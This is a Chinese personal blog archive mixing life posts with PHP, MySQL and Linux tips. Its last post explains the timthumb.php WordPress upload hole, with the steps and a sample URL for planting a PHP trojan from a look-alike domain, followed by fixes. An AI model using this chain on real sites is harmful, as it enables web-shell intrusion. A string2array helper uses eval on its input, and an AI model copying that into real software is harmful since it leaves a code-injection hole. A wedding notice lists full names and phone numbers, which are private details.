120430 我结婚了 你可以来

时间:2012年04月30日作者:可 乐烟查看次数:36 浏览数评论次数:1

 

原本想象中的婚礼 与现实总是有所差距的。只能简单的了之,或许以后可以再闹一次,5年,10年?

不多说:

亲爱的来到我博客的朋友,同学,友人我于 20120501 进行我简单的结婚典礼,自视简陋,所以并未通知各位。

地点 : 江苏 靖江 某小村 (十节埭 你会读么)

时间 : 2012-05-01

结婚人: 张清月 (男) 王艳(女)

新娘照:


新郎照:

拿不出手 还是亲自来看吧。

联系电话:18621937268 (要牢记啊不然来了找不到人就2了)

13611636949 (老婆电话切勿乱扰)
行车路线:

无锡 -> 无锡汽车站 购买车票 无锡 至 靖江 约 45分钟

                         ->靖江 汽车站内 35路 至 三庆路 30分钟左右

大概位置:

 

120403 随记

时间:2012年04月03日作者:可 乐烟查看次数:14 浏览数评论次数:0

//SecureCrt 老是习惯 ctrl+s 导致屏幕假死
//你只需要再按  ctrl+q 即可解决
/**
原由:CTRL-S and CTRL-Q are called flow-control characters. They represent an antiquated way of
 stopping and restarting the flow of output from one device to another (e.g., from the computer 
to your terminal) that was useful when the speed of such output was low. They are rather 
obsolete in these days of high-speed networks. In fact, under the latter conditions, 
CTRL-S and CTRL-Q are basically a nuisance. The only thing you really need to know about 
them is that if your screen output becomes “stuck,” then you may have hit CTRL-S by accident.
 Type CTRL-Q to restart the output; any keys you may have hit in between will then take effect.
*/
//Ci框架中 关于 结果集返回的问题
//如果是单条记录
return $query->row_array ();
//如果是多条记录
return $query->result_array ();
//Zendstudio 导入ssh(rsa)证书
//首选项->常规->网络链接->SSH2->常规->添加私钥
/**
左侧窗口 选择Remotesyste 新建 -> 填写服务器对应的描述->创建完成->链接  输入用户名 ->密码留空
->提交 就可以直接连上去[起初我也很纳闷,空密码,想着应该是直接连过去 而不需要输入密码]
*/
//linux shell 判断脚本是否在运行
//grep -v grep 不计算当前grep线程
PID=`ps aux | grep "脚本名字"  | grep -v grep  | awk '{print $2}'`
if [ -z "$PID" ];
then
echo "当前不存在生成进程, 可以执行";
else
echo "脚本正在运行, 稍后在试";
exit;
fi

120212 第二块硬盘的分区、格式化及挂载 By(枫 叶)

时间:2012年02月12日作者:可 乐烟查看次数:70 浏览数评论次数:0

在周末干活 感觉 比上班貌似有些许的轻松 ,伟大的枫叶同志 在帮我照顾vps之后 还写了一篇 关于vps的一些简短教学 给我,在这里特转发下:)

1.查看当前硬盘及分区

[root@localhost ~]# fdisk -l

Disk /dev/hdb doesn't contain a valid partition table //发现第二块硬盘(/dev/hdb)没有有效的分区表

2. 为第二块硬盘分区

[root@localhost ~]# fdisk /dev/hdb //为第二块硬盘分区

The number of cylinders for this disk is set to 20805.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)
 
Command (m for help): n //添加新分区;
Command action
e extended
p primary partition (1-4)
p //添加主分区;
Partition number (1-4): 1 //添加主分区1;
 
First cylinder (0-20805, default 0): 注:直接回车;
Using default value 0
Last cylinder or +size or +sizeM or +sizeK (0-20805, default 20805): 注:直接回车,把其余的所有空间都给主分区1;
Using default value 20805
 
Command (m for help): p //列出当前磁盘的分区
 
Disk /dev/hdb: 10.7 GB, 10737418240 bytes
16 heads, 63 sectors/track, 20805 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes
 
Device Boot Start End Blocks Id System
/dev/hdb1 1 20805 10485688+ 83 Linux
Command (m for help): w //保存并推出

3.对分区进行格式化

[root@localhost ~]# mkfs -t ext3 -c /dev/hdb1

4.挂载分区

[root@localhost ~]# vi /etc/fstab

/dev/VolGroup00/LogVol00 / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
tmpfs /dev/shm tmpfs defaults 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
sysfs /sys sysfs defaults 0 0
proc /proc proc defaults 0 0
/dev/VolGroup00/LogVol01 swap swap defaults 0 0
在最后面添加一行如下(将新分区挂载在/home/目录下):
/dev/hdb1 /home ext3 defaults 0 0

保存并推出。

执行命令:

[root@localhost ~]# mount -a

最后使用命令查看分区挂载情况:

[root@localhost ~]# df -ah

注:fstab文件的理解
第一列:所要挂载的分区(文件系统或存储设备);
第二列:挂载路径;
第三列:分区类型;
第四列:挂载选项,直接填defaults(代表一些默认参数0),详细参考man mount. 下面列出一些常用的选项:
第五列:第5列为dump选项,设置是否让备份程序dump备份文件系统,0为忽略,1为备份。
第六列:fsck选项,告诉fsck程序以什么顺序检查文件系统,0为忽略。

120207 酒入愁肠,化作相思泪

时间:2012年02月07日作者:可 乐烟查看次数:71 浏览数评论次数:0

我等待。似乎习惯了等待。单纯的以为等待就会到来。
我停留在原地。看着匆匆忙忙的过路人。在不停地寻找一个背影相似的人。

 

时常想着 给自己的博客 写点什么,可当执手去写的时候 却发现无从下手。

在奔跑中,我已经忘记了去反思,学习。唯有靠着自己所谓的聪明继续在黑暗中摸索。

亲爱的老婆,我们已经分开12天了,在这12天里不管生活的奔波是多么的疲倦,我不曾忘记对你的思念,以及你那褓中尚未成型的孩子。这种思念有时会让人想去抛开世间的这些琐碎之事,想与你一起渡过怀孕这段痛苦又快乐的时间。

每一次你的失踪,总是让我心一揪,这种感觉会持续很久,直到你在我面前笑的时候,我才会暂时的放松下来。突然想起一首歌,想念是会呼吸的痛,可能这会比较适合我听。纯纯的忧伤,让我的思念更是深了许多。

我的情绪会因为你而时常浮动,或许现在牵在我们心头的线已经更明显的敏感了。我能感觉到你些许的不开心,但你又不愿意跟我说。心头如大石一般快要难以呼吸了。

一个人的行走是那么的孤单,虽然两个人在一起的时候有很多的不如意,但其实谁又能知道 在两个人分开后 的那份思念确实如此的让人肝肠寸断呢?

希望老婆早点好起来。我爱我老婆~

 


标签:,,分类:Life

111207 苹果商店热榜 获取代码

时间:2011年12月07日作者:可 乐烟查看次数:201 浏览数评论次数:0

Html部分

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
 
  <title> 苹果销量Top10  RSS解析  </title>
  <meta name="Generator" content="EditPlus">
  <meta name="Author" content="80aj">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
  <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
    <script type="text/javascript" src="http://jquery-xml2json-plugin.googlecode.com/svn/trunk/jquery.xml2json.js"></script>
 
 
<script>
$(document).ready(function() {
    $.ajax({
        url: 'rs.php',
        type: 'GET',
        dataType: 'xml',
        error: function(xml) {
            alert('请求出错'+xml);
        },
        success: function(xml) {
 
			var rss = $.xml2json(xml);
			$.each(rss.entry, function(i, entry){
			$("#test-rss").append(
				entry.content+'<br>'
				);
 
			});
        }
    });
});
 
 
 
</script>
 </head>
 <body>
Rss订阅地址:http://itunes.apple.com/rss/generator/?cc=CN  <br>
Rss订阅详细内容:http://itunes.apple.com/cn/rss/topgrossingapplications/limit=10/xml<br>
 
苹果中国地区销量Top10排行榜 <br>
<div id="test-rss"></div>
 </body>
</html>

Php部分

<?php
/*
Description: demo
Version: 0.0.1
Author: 80aj
Author URI: http://www.80aj.com/
Emial:a@80app.com
*/
$xmlurl = "http://itunes.apple.com/cn/rss/topgrossingapplications/limit=10/xml";
header('Content-type:application/xml');
$fp = file_get_contents($xmlurl) or die("can not open $xmlurl");
echo $fp;
?>

111122 一些工作记录

时间:2011年11月22日作者:可 乐烟查看次数:153 浏览数评论次数:0

Zend Freamwork 打印mysql输出

vim /data/httpd/htdocs/www.80aj.com/library/Zend/Db/Adapter/Abstract.php

 

 

MYSQL优化前

select distinct(f_label_id) from label_relationship where f_label_channel_id=6 and f_label_id in (
select distinct(f_label_id) from label_relationship where f_label_channel_id=1 and f_label_id in (
select distinct(f_label_id) from label_relationship where f_label_channel_id=2)
)

MYSQL优化后

 
select f_label_id from  label_relationship where f_label_channel_id in (1,2,6)   
group by f_label_id  HAVING COUNT(f_label_id) &gt;=3

 

 

JavaScript获取自定义属性值

<script type="text/javascript">
var button_test=document.getElementById("button_test");
alert(button_test.attributes["long="test" "].nodeValue);
<sctript>
<input type="button" long="test" id="button_test">

 
 

javascript 二维数组不规则打印

<script>
category_arr[2][1] = new Option("备孕","1213"); 
category_arr[2][2] = new Option("├5251651","1215"); 
category_arr[6][1] = new Option("测试01","1216"); 
category_arr[6][2] = new Option("测试04","1217");
 
for (x in category_arr[id])
{
 temp.options[x]=new Option(category_arr[id][x].text,category_arr[id][x].value);
} 
</script>

 

 

111018 php函数 字符串–数组 互相转换

时间:2011年10月18日作者:可 乐烟查看次数:205 浏览数评论次数:0

/**
* 将字符串转换为数组
*
* @param	string	$data	字符串
* @return	array	返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
	if($data == '') return array();
	@eval("\$array = $data;");
	return $array;
}
 
/**
* 将数组转换为字符串
*
* @param	array	$data		数组
* @param	bool	$isformdata	如果为0,则不使用new_stripslashes处理,可选参数,默认为1
* @return	string	返回字符串,如果,data为空,则返回空
*/
function array2string($data, $isformdata = 1) {
	if($data == '') return '';
	if($isformdata) $data = new_stripslashes($data);
	return addslashes(var_export($data, TRUE));
}
标签:,,分类:PHP

110922 常用网站开发 div命名规范

时间:2011年09月22日作者:可 乐烟查看次数:240 浏览数评论次数:0

搜索引擎优化(seo)中,对代码的优化也是一个很关键的步骤。为了更加符合SEO的规范,下面是目前流行的CSS+DIV的命名规则:
DIV ID命名
页头:header
登录条:loginBar
标志:logo
侧栏:sideBar
广告:banner
导航:nav
子导航:subNav
菜单:menu
子菜单:subMenu
搜索:search
滚动:scroll
页面主体:main
内容:content
标签页:tab
文章列表:list
提示信息:msg
小技巧:tips
栏目标题:title
友情链接:friendLink
页脚:footer
加入:joinus
指南:guild
服务:service
热点:hot
新闻:news
下载:download
注册:regsiter
状态:status
按钮:btn
投票:vote
合作伙伴:partner
版权:copyRight
CSS ID的命名
外套:wrap
主导航:mainNav(globalNav)
子导航:subNav
页脚:footer
整个页面:content
页眉:header
页脚:footer
商标:label
标题:title

顶导航:topNav
边导航:sideBar
左导航:leftsideBar
右导航:rightsideBar
标识:logo
标语:banner
菜单1内容:menu1Content
菜单1容量:menu1Container
子菜单:submenu
边导航图标:sidebarIcon
注释:note
面包屑:breadCrumb(即页面所处位置导航提示)
容器:container
内容:content
搜索:search
登陆:login
功能区:shop(如购物车,收银台)
当前的current
样式文件命名
全站标签默认样式:general.css或global.css
布局版式设计样式:layout.css或container.css
通用样式(如文字、表单等):style.css
专栏/频道样式:columns.css
打印输出样式:print.css
主题模板样式:themes.css

标签:,,分类:Design

110909 Yii本地项目上传LINUX无法正常应用

时间:2011年09月09日作者:可 乐烟查看次数:215 浏览数评论次数:0

CFileLogRoute.logPath “/home/xxx/preview/protected/config/log/../../log/2011/09/” does not point to a valid directory. 请确定目录存在并且允许 Web server process 写入.

如果不幸的你遭遇到了与我相同的问题 ,那请继续看下去.

通过 ssh 把windows文件上传到linux 后文件夹默认是没有读写权限的,该如何解决:

删除 log下 所有文件即可,因为我们上传的时候是自传了 2011 文件夹, 09文件夹 .

当然如果你是新手学习 你想偷懒可以使用如下方式:

chmod  -R +w /home/html/ff

这样做是不安全的 只是在你寻找不到错误的时候这样做,如果运营着社区 千万不要这样做很容易会被黑客入侵的。

关于如何保存 LINUX服务器权限信息 并且 从 linux->windows->linux 这里 引用我同事说的话

windows 根本就不支持 Linux 的权限系统,网络下载也不会同时保留权限信息。
如果想保留权限信息,先用支持 Linux 权限系统的压缩软件压缩吧……其实 tar 就行。

110907 运营社区的一些故事

时间:2011年09月07日作者:可 乐烟查看次数:160 浏览数评论次数:0

先说说什么是“社区”,互联网上尚无公认的定义。按我的看法,凡重视人际关系的内容产品,同时域内用户对整个用户群有较强的认同感,这就是社区。它有三个典型特征,第一是用户产出内容,第二是通过用户关系来加强内容的互动与产出,第三是有着约定俗成的社区文化。

比如豆瓣,就同时满足这三点。网易跟帖满足1/3点,新浪微博则满足1/2点。因此豆瓣的社区特质更加典型。

言归正传。

做社区有三大问题,首先,怎样吸引用户发表内容?常见解法如下:

1、流量驱动,发表后可以获得大量的关注,包括浏览数/转发数等等,对于低端用户与商业用户特别有效。

2、交流驱动,发表后可以得到有质量的评论,当然,对“质量”的定义也因人而异。

3、归属感驱动,把个人主页当作自己的小家,乐意在家里发表内容,装点个人空间。

4、认同感驱动,因为这里有我喜欢的,散发出特别气场的内容/用户/资料,希望能加入他们,通常需要强大的公共展示区来支撑。

最好的解法当然是1/2/3/4并具,但这很难。四者得其三已经相当不错。如果只能实现其中的一项,则天花板相当有限。

其次,从建立社区关系出发,怎样帮助用户互相认识,彼此关注?常见解法如下:

1、建立内容公共展示区,经典如论坛,而豆瓣在书影音条目下的评论交流区也是另一种类型。

2、推行内容分发机制,这需要两个要素,一是用户对newsfeed的访问习惯,二是对内容的转发习惯,前者隶属于产品架构,后者是社区文化的组成部分。

3、嵌入个性化群组,帮助趣味相投的用户互相发现,不幸运营成功率极低。

以上三者俱备,也就只有豆瓣社区能够做到,但并非手法最全效果就最好——新浪微博的强互动,强转发,整个体验顺畅无比。相比起来,豆瓣在newsfeed/公共展示区/个性化讨论区之间跳来跳去,绕来绕去,便落了下风。

最后,如果用户已经发表了有质量的内容,并建立了起码的关注关系,是不是就马到功成了呢?也未必。我最近的失蹄就发生在这里。

最近10个月,由于资源配置与磨合基本到位,摄影社区的产品进展很快,内容大有进步,但互动数据始终没提起来。我想了很长时间,找到原因之一。摄影本身是一个弱话题,促进交流往往依赖关系而非内容。我来评论你的作品往往是因为我认识你,你发新片,我来打个招呼——用户关系会极大地增强互动意愿。而用户关系的建立,除了基于作品的互相认可之外,也需要互相“混个脸熟”,说白了就是你多评我,我多评你,礼尚往来。

这些道理都非常浅显,只是社区生态决定化学反应。我们的摄影社区以“组图”为内容粒度,把发表门槛设置得比较高,提升可看性的同时也降低了用户的发表频度。如果newsfeed里以发表行为为主,必定空空荡荡,压根支撑不起来新鲜事的页面。因此充斥着newsfeed的实际上是“喜欢这张”“推送这张”的转发行为,固然丰富又好看,但有一个极大的缺陷,就是发表行为惨被淹没。

以我作为例子,我在摄影社区关注了146个人,经常得翻两三页新鲜事才能看到一条发表动态,别的全是喜欢、推送什么的。这意味着低频度的原创被高频度的转发给稀释掉了。我可能关注了拉拉樱,是她的忠实粉丝,但我基本上没机会看到她的新作,半天不登录新鲜事,就被转发动态刷到了第二页。而去关注列表里找拉拉樱又颇麻烦,我懒得去找,找到了也不知道她最近有没有发片……

所以,新鲜事的繁荣也可能是一种误导。摄影组图的特性导致发表与转发的比例可能是1∶20,优质内容发现还算强大,但关注用户之间从“脸熟”变成了“面生”,关注之后很少在新鲜事看见对方的作品,更别提互评互踩。结果用户关系无从加强,关注只是一个数字,缺乏数字背后的交情。用户看图固然爽,评论的数量和质量却大大降低了,作者得不到足够的鼓励,社区的天花板自然抬不上去。

相应的产品分析点零零碎碎还有很多,不必赘述。怎样增强关注用户之间的交流,是我之前疏忽的一个环节,也是做社区的第三个大问题。这顺道还解释了轻博客的评论为什么又少又差——既然图片的话题性弱,用户的交情又少,何须多言,Like与reblog就消化掉了全部的互动热情。

从三季度开始,我从摄影社区的一线正式退下来,当上了离休老干部,场外找找茬提提建议。社区产品框架在年初就定下来了,不断填充即可,现在的产品经理也比我做得更好。国内的整个摄影社区正处于萧条期,找不到拐点,毕竟强互动是市场大势,相对弱互动(又缺乏实用性)的产品都会面对这样的危机。我也没大招,只能和对手比谁日拱一卒,谁出错更少,一边坚持一边嗅探突破口。四季度会在iPad应用上找找灵感,手头上有结构化的几百万张原创作品,不妨做点新颖的小文章。

又及,因为退居二线的缘故,对于社区,估计很长时间我就没什么经验之谈了。最近几个月的心思都放在APP上面,刚下水不久,公司的项目尚在探索期,私家的“方言君”又开发搁浅,写博计划青黄不接。何况“站队”技能高于一切,这些那些奇技淫巧有何意义呢?无趣,抽时间补完柬埔寨游记才是正道。

摘自: http://firecacada.blog.163.com/blog/static/70743762011869266182/

110817 php 的4个问题

时间:2011年08月17日作者:可 乐烟查看次数:205 浏览数评论次数:0

1.你知道PHP的垃圾回收机制(Garbage Collection)机制是怎样的吗?
在 PHP 中,没有任何变量指向这个对象时,这个对象就成为垃圾。PHP 会将其在内存中销毁;这是 PHP 的 垃圾处理机制,防止内存溢出。
PHP使用了引用计数(reference counting)这种单纯的垃圾回收(garbage collection)机制。每个对象都内含一个引用计数器,每个reference连接到对象,计数器加1。当reference离开生存空间或被设为NULL,计数器减1。当某个对象的引用计数器为零时,PHP知道你将不再需要使用这个对象,释放其所占的内存空间。
当一个 PHP 线程结束时,当前占用的所有内存空间都会被销毁,当前程序中所有对象同时被销毁。垃圾回收进程一般都跟着一个会话而开始运行的。 回收的目的是为了在会话结束后自动销毁删除这些文件,__destruct() 在垃圾对象被回收时执行。当一个有效的请求发生时,PHP 会根据全局变量 session.gc_probability 和 session.gc_divisor 的值,来决定是否启用垃圾回收机制。缺省情况下,session.gc_probability=1,session.gc_divisor=100。即,有1%的概率启动垃圾回收机制。PHP垃圾回收机制的工作就是扫描所有的会话信息,用当前时间减去会话最后被修改的时间,同 session.gc_maxlifetime 参数进行比较,如果生存时间超过 gc_maxlifetime,就清除该会话。

2.你理解pass by value和pass by reference的区别吗?
所谓值传递,就是说仅将对象的值传递给目标对象,就相当于copy;系统将为目标对象重新开辟一个完全相同的内存空间,对行参的修改,不会影响实参的值。
值传递(passl-by-value)过程中,被调函数的形式参数作为被调函数的局部变量处理,即在堆栈中开辟了内存空间以存放由主调函数放进来的实参的值,从而成为了实参的一个副本。值传递的特点是被调函数对形式参数的任何操作都是作为局部变量进行,不会影响主调函数的实参变量的值。    
    所谓引用,就是说将对象在内存中的地址传递给目标对象,就相当于使目标对象和原始对象对应同一个内存存储空间。此时,如果对目标对象进行修改,内存中的数据也会改变。
 引用传递(pass-by-reference)过程中,被调函数的形式参数虽然也作为局部变量在堆栈中开辟了内存空间,但是这时存放的是由主调函数放进来的实参变量的地址。被调函数对形参的任何操作都被处理成间接寻址,即通过堆栈中存放的地址访问主调函数中的实参变量。正因为如此,被调函数对形参做的任何操作都影响了主调函数中的 实参变量。
Demo:

 
function change ($number)
{
    $number = $number + 1; //使变量$number的值增加1
    echo "函数内部\$number的值为:" . $number; //输出变量$number的值
    echo "<br>";
}
$number = 10;
change($number); //调用change()函数
echo "函数外部\$number的值为:" . $number; //输出变量$number的值
echo "<br>";
function rechange ($number)
{
    $number = $number + 1; //使变量$number的值增加1
    echo "函数内部\$number的值为:" . $number; //输出变量$number的值
    echo "<br>";
}
$number = 10;
rechange(&$number); //调用change()函数
echo "函数外部\$number的值为:" . $number; //输出变量$number的值

3.你知道php也可以用来做daemon程序(守护程序)吗?
Daemon程序,又称为守护进程,通常在系统后台长时间运行,由于没有控制终端而无法与前台交互,Daemon程序一般作为系统服务使用。

[ 起源 ]

Linux/Unix下守护进程(Daemon)大家都知道,比如我们常用的httpd、mysqld等等,就是常驻内存运行的程序,类似于Windows下的服务。一般守护进程都是使用C/C++来写,就是通过fork生成子进程,当前台shell下的父进程被杀掉,子进程就转到后台运行,为了不在终端产生输出信息,就通过syslog等函数来写日志文件。

我们知道php是脚本语言,通过php的脚本引擎来执行,所以要做成守护进程比较麻烦,我们今天就来结合Unix/Linux的命令来实现我们守护进程的功能。

[ 原理 ]

Unix中的nohup命令的功能就是不挂断地运行命令,同时nohup把程序的所有输出到放到当前目录的nohup.out文件中,如果文件不可写,则放到<用户主目录>/nohup.out 文件中。那么有了这个命令以后,我们的php程序就写程shell脚本,使用循环来让我们的脚本一直运行,那么不管我们终端窗口是否关闭,都能够让我们的php脚本一直运行。当然,当我们的php进程被杀或者我们的操作系统重启了,自然就会中止了。

[ 功能 ]

肯定会问,让我们的php脚本做了守护进程又有什么用处呢?当然有,比如最典型的作用,能够基本的替代cron的功能,比如我们需要定期实行的某些操作,完全可以交给它来做,不再需要cron,当然,如果服务器重启就没有办法了,不过,一般的Unix服务器不是那么容易重启的。另外,我们还可以做一个简单的服务器端的功能,比如做一个能够Telnet过去的服务器,嘿嘿,可以做成一个小后门,不过这样实现稍微有点复

杂。

[ 实践 ]

例子:自动生成文件

我们现在来做两个例子来证明我们上面的说法。首先第一个是每个三十秒自动生成一个文件,永远执行下去。

首必须确保操作系统是Unix或者Linux,比如可以是FreeBSD、Redhat、Fedora或者SUSE什么的。然后我们必须确保我们的php脚本引擎是在 /usr/local/php/bin/php,具体路径可以按照你实际路径来写,如果没有脚本引擎,请自行安装。

比如当前目录是 /home/heiyeluren/,那么我们使用vi或者其他编辑器编写一个叫做php_daemon1.php的文件:
$ vi php_daemon1.php

然后写入如下代码:
#! /usr/local/php/bin/php
set_time_limit(0);
while(1)
{
@fopen("test_".time().".txt","w");
sleep(30);
}
?>

然后保存并且退出vi,然后赋予php_daemon1.php文件可执行权限:
$ chmod +x /home/heiyeluren/php_daemon1.php

然后再让我们的脚本再后台执行,执行如下命令:
$ nohup /home/heiyeluren/php_daemon1.php &

记得最后加上 & 符号,这样才能够跑到后台去运行,执行上述命令后出现如下提示:

[1] 82480
appending output to nohup.out

再回后车后将出现shell提示符。那么上面的提示就是说,所有命令执行的输出信息都会放到 nohup.out 文件中,这个上面已经讲了。然后执行上面命令后,我们每个三十秒在当前目录就会看到多出以test_开头的文件,比如:test_1139901144.txt test_1139901154.txt等等文件,那么就证明我们的程序已经再后台运行了。

那么我们如何终止程序的运行呢?最好办法就是重启操作系统,呵呵,当然,这是不可取的,我们可以使用kill命令来杀掉这个进程,杀进程之前自然后知道进程的PID号,就是Process ID,使用ps命令就能够看到了。

$ ps
PID TT STAT TIME COMMAND
82374 p3 Ss 0:00.14 -bash (bash)
82510 p3 S 0:00.06 /usr/local/php/bin/php /home/heiyeluren/php_daemon1.php
82528 p3 R+ 0:00.00 ps

上面我们已经看到了我们的php的进程id是:82510 ,于是我们再执行kill命令:

$ kill -9 82510
[1]+ Killed nohup /home/heiyeluren/php_daemon1.php

看到这么提示就明白这个进程被杀了,再ps,就会发现没有了:

$ ps
PID TT STAT TIME COMMAND
82374 p3 Ss 0:00.17 -bash (bash)
82535 p3 R+ 0:00.00 ps

如果直接ps命令无法看到进程,那么就使用 ps & apos 两个结合命令来查看,一定能够看到进程。
再上面的基础上进程扩展,能够做成属于自己的cron程序,那就不需要cron啦,当然,这只是一种方式

4.你知道什么是单入口web程序吗?它的优缺点各是什么?
单一入口的应用程序是说用一个文件处理所有的 HTTP 请求,url形如http://localhost/prview/index.php?r=ucenter/CourseAttendance/index。在单一入口应用程序中,index.php 和 web服务器一起构成了一个 Dispatcher,根据 http 请求和 url 参数来确定请求的处理程序。
优点:单一入口应用程序的所有http请求都是通过index.php接收并转发到功能代码去的,所以在index.php里面就能完成许多实际工作,比如可以进行集中的安全性检查,可以对url参数和post进行必要的检查和特殊字符过滤、记录日志、访问统计等等。
缺点:由于入口文件中可以实现很多功能,导致执行效率下降。

110811 PHP程序员调查(自我反省)

时间:2011年08月11日作者:可 乐烟查看次数:234 浏览数评论次数:0

1.首先看了PHP的源码API函数,对于许多口水仗的争论一笑而过,只是停留在脚本级别上的什么效率,安全。。。之争完全就是无稽之谈,没有深入理解API,所有的争论都是臆测和不科学的态度。你做了吗?
答:莫有,一直想深入一直在门口徘徊

2.不再把PHP看作一门后台语言,而是一门类似JS的脚本,页面表现级的语言,更多的是尝试使用一种软件来做后台,PHP做前台,尝试真正的B/S开发。你的看法呢?
答:PHP+SERVER通信 的方式 是一种趋势,当然目前是主流趋势 以后未知。

3.知识更新。PHP中的接口你懂了吗?反射你听过吗?JS中的事件冒泡你懂了吗?原型链知道吗?一切函数都是对象,你能理解否?MYSQL里面的视图,存储过程你尝试过么有?
答:反射有理解也有做过,冒泡知道,懂,原型链不知道会补充学习。函数都是对象不能理解。都有尝试过 外加事务

4.扎实的学知识。你是不是离开了JQ框架就连个DOM操作的原生JS都不会写了?你是不是离开了DB类,就连个简单的查询都不会写了?你是不是离开了IDE,连个表格都画不出来?你是不是到现在多表查询,子查询都还不会?你是不是到现在就只知道索引是用来加快查询的?
你是不是到现在连个PHP5的稍微复杂点的OO类都还不会写?你会正则吗?你的E文水平咋样?
答:会写js,但不如jQUERy好。离不开 但 左链右链还不太清楚。已经离不开IDE。SQL基本都会.正则勉强.e文很差

5.扎实的算法基础。你知道选择排序,插入排序,冒泡排序,二分排序,希尔排序并且能写出来吗?你知道怎么遍历二叉树吗?知道霍夫曼吗?你知道图吗?你知道龙格-库塔,迭代,插值,雅戈尔,牛顿下山法吗?知道ZIP压缩原理吗?你是不是可爱到以为加减乘除加上循环判断就搞定了算法?你知道概率论,微积分,线性方程组在算法中是非常非常基础的吗?
答:排序,冒泡等等基本了解.后面的基本不知道。

6.学习的主动性。你是不是自己的网站连个拿的出手的JS都没有写过?你网站的效果是不是都是你下载的JQ插件弄出来的?到现在都还没有看过JQ的代码?你现在的模板引擎是谁的?DB类是谁的?框架是谁的?你是不是一直都很鄙视重复造轮子的事情,就像中国现在,“拿来主义”,永远是MADE IN CHINA,而不是Created in China?
答:没有拿得出手的JS,基本上是JQ插件。没有看过JQ代码。谁的更不清楚。作者英文名字难记。

7.广泛的基础。你会汇编吗?那C总该会点吧。。那C++呢,那简单的JAVA总该会吧。。。那。。那傻瓜化的VB,NET,PY。。。?什么,你只会PHP?其他啥都不会?JS总该会吧?啊,不会,只会用网上下来的JQ?你除了PHP还会点啥?那假如PHP垮台了或者你所在的公司不用PHP了你吃什么?如果老板让你学J2SE你怕不怕?
答:汇编,C,C++,java都会点。不怕。

8.你是不是就准备一辈子做个coder?你的知识如果让你传授给别人的话,能支撑三个月吗?三个月后你还能讲得出点其他的东西吗?
答:想做一辈子Coder,不能支撑3个月。继续学习

9.你现在的水平和你刚开始学的时候进步了多少?你有过自己的作品吗?有多少代码是你自己写的?你认为是不是只要会写PHP代码就够了?这样的话一个初中生三个月后也就能达到你的水平了,你认为呢?你准备一直停留在这个水平吗?
答:没有进步感觉。有 不多,基本拿来主义修改。我一直觉得很羞耻的没有入门程序一行。

10.最后一问,你除了会写仅会的PHP代码,还会点其他的吗?你有把握做其他工作吗?你能养活自己老婆孩子吗?能给他们幸福吗?
答:会点其他,会把握其他工作。养不活老婆孩子,给不起幸福,自残去了。

 

后记;

文章不是用来打击任何人,这是鼓励,寻找自己的不足,前进。

110810 请建立索引

时间:2011年08月10日作者:可 乐烟查看次数:220 浏览数评论次数:0

索引灾难:

因为没有建索引发生的SQL灾难太多了,比如说最近公司就发生了一起,实际上 数据量也不是很大,但就引起了程序反应迟钝,导致用户与运营不满意,

150W数据来说相对还是比较少的,但每次查询损耗大概在0.5秒-1秒之间。再绑定了触发器,导致一次更新用户帐户 就会好时1-2秒,复杂数据更新会导致
长时间卡住无法返回。

索引添加SQL:

CREATE INDEX ob_cmd_11x
ON table_name(server_id, game_name_id);

ob_cmd_11x 索引名
table_name 索引所加载的表
server_id, game_name_id 一般查询条件中使用到的字段

PS: 150w+数据大概执行时间5-10秒 看服务器性能 比如说 16核的 你懂的 。。 5-8秒

索引:
是对数据库表中一列或多列的值进行排序的一种结构,使用索引可快速访问数据库表中的特定信息。

索引 – 类型:

根据数据库的功能,可以在数据库设计器中创建三种索引:唯一索引、主键索引和聚集索引。有关数据库所支持的索引功能的详细信息,请参见数据库文档。
提示:尽管唯一索引有助于定位信息,但为获得最佳性能结果,建议改用主键或唯一约束。
唯一索引
唯一索引是不允许其中任何两行具有相同索引值的索引。
当现有数据中存在重复的键值时,大多数数据库不允许将新创建的唯一索引与表一起保存。数据库还可能防止添加将在表中创建重复键值的新数据。例如,如果在employee表中职员的姓(lname)上创建了唯一索引,则任何两个员工都不能同姓。
主键索引
数据库表经常有一列或列组合,其值唯一标识表中的每一行。该列称为表的主键。
在数据库关系图中为表定义主键将自动创建主键索引,主键索引是唯一索引的特定类型。该索引要求主键中的每个值都唯一。当在查询中使用主键索引时,它还允许对数据的快速访问。
聚集索引
在聚集索引中,表中行的物理顺序与键值的逻辑(索引)顺序相同。一个表只能包含一个聚集索引。
如果某索引不是聚集索引,则表中行的物理顺序与键值的逻辑顺序不匹配。与非聚集索引相比,聚集索引通常提供更快的数据访问速度。

索引更多阅读:

http://www.hudong.com/wiki/%E6%95%B0%E6%8D%AE%E5%BA%93%E7%B4%A2%E5%BC%95

http://www.cnblogs.com/KissKnife/archive/2009/03/30/1425534.html

110804 请小心 timthumb.php

时间:2011年08月04日作者:可 乐烟查看次数:628 浏览数评论次数:3

今天早上 CNBETA爆出了 wordpress 的  谷歌写的  timthumb.php 上传漏洞

我分析了下 入侵规则如下:

  0 =>

string

 'flickr.com' (length=10)
  1 =>

string

 'picasa.com' (length=10)
  2 =>

string

 'blogger.com' (length=11)
  3 =>

string

 'wordpress.com' (length=13)
  4 =>

string

 'img.youtube.com' (length=15)

以上文件是timthumb.php 支持 图片的下载地址 或者 ALLOW_EXTERNAL 为TRUE 都会被跳过域名检查.

漏洞利用:

创建一个域名 http://flickr.com.80aj.com/

目录下上传 80aj.php

寻找有 timthumb.php 的主题或者插件包

这里只提供一个  关于  loper1.2 主题包 中就自带 timthumb.php文件
使用如下URL上传木马:

http://www.*.com/wp-content/themes/loper1.2/timthumb.php?src=http://flickr.com.80aj.com/80aj.php

上传完以后访问:

http://www.*.com/wp-content/themes/loper1.2/cache/

寻找刚才上传的文件 直接访问即可.

修复方法:
cache 目录下创建 index.html 或者 php
进制 cache目录执行PHP相关代码
代码后缀过滤 ,虽然代码中过滤了 进制上传的类型 但还是会下载下来

timthumb.php 相关强制关闭
